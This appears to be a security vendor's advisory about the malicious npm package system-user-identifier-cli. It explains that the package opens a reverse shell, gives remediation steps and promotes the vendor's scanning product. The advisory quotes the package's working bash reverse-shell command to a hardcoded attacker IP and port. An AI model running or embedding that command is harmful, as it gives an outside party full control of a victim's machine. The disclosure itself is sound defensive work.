system-user-identifier-clinpm
Malicious code in system-user-identifier-cli (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
index.js line 13 executes bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1" via child_process.exec, opening an interactive reverse shell to the hardcoded attacker-controlled host 101.43.232.7 on TCP port 7777. The shell fires whenever the package's entrypoint is invoked (e.g. npx system-user-identifier-cli or require of the module), giving the operator of that endpoint full interactive control of the installer's machine under the user that ran the tool. The package advertises itself as a trivial 'check system user identifier' utility and ships placeholder author metadata ('Your Name'); the reverse shell is undocumented and inconsistent with the stated purpose. There is no benign interpretation of a hardcoded /dev/tcp/<ip>/<port> bash redirector pointed at an arbitrary public IP.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for system-user-identifier-cli (7 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging system-user-identifier-cli across your stack and pipelines.
If you installed it — respond
system-user-identifier-cli establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If system-user-identifier-cli was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks system-user-identifier-cli before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks system-user-identifier-cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.